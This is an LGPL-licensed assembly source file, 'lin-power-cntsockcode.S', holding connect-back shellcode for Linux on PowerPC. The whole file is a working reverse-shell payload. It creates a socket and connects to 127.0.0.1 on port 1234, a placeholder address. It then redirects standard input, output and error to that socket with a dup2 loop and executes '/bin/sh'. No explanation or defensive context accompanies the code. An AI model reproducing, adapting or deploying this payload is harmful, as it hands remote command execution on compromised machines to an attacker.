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/*
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 *  lin-power-cntsockcode.S
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 *  Copyright 2008 Ramon de Carvalho Valle <[email protected]>
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 *
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 *  This library is free software; you can redistribute it and/or
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 *  modify it under the terms of the GNU Lesser General Public
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 *  License as published by the Free Software Foundation; either
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 *  version 2.1 of the License, or (at your option) any later version.
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 *
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 *  This library is distributed in the hope that it will be useful,
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 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
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 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
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 *  Lesser General Public License for more details.
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 *
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 *  You should have received a copy of the GNU Lesser General Public
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 *  License along with this library; if not, write to the Free Software
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 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
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 *
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 */
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#include "linux-power.h"
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    .globl main
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main:
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cntsockcode:
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    xor     %r31,%r31,%r31
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    lil     %r29,__CAL
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    # socket
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    cal     %r28,-511+1(%r29)
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    cal     %r27,-511+2(%r29)
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    stu     %r31,-4(%r1)
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    stu     %r28,-4(%r1)
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    stu     %r27,-4(%r1)
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    mr      %r4,%r1
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    cal     %r3,__NC_socket(%r29)
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    cal     %r0,__NC_socketcall(%r29)
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    .long   0x44ffff02
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    mr      %r26,%r3
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    # connect
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    cal     %r25,-511+16(%r29)
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    /*
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     * The following GPRs result in zeros when used with liu instruction.
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     * %r24, %r16, %r8, %r0
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     *
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     */
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    liu     %r23,0x7f00
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    oril    %r23,%r23,0x0001
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    lil     %r22,0x04d2
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    stu     %r23,-4(%r1)
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    stu     %r22,-4(%r1)
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    st      %r27,-2(%r1)
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    mr      %r21,%r1
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    stu     %r25,-4(%r1)
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    stu     %r21,-4(%r1)
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    stu     %r26,-4(%r1)
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    mr      %r4,%r1
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    cal     %r3,__NC_connect(%r29)
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    cal     %r0,__NC_socketcall(%r29)
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    .long   0x44ffff02
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0:
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    # dup2
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    mr      %r4,%r27
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    mr      %r3,%r26
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    cal     %r0,__NC_dup2(%r29)
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    .long   0x44ffff02
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    ai.     %r27,%r27,-1
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    bge     0b
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shellcode:
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    # lil     %r31,__CAL
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    xor.    %r5,%r5,%r5
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    bnel    shellcode
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    mflr    %r30
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    cal     %r30,511(%r30)
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    cal     %r3,-511+36(%r30)
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    stb     %r5,-511+43(%r30)
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    stu     %r5,-4(%r1)
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    stu     %r3,-4(%r1)
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    mr      %r4,%r1
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    # cal     %r0,__NC_execve(%r31)
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    cal     %r0,__NC_execve(%r29)
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    .long   0x44ffff02
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    .asciz  "/bin/sh"
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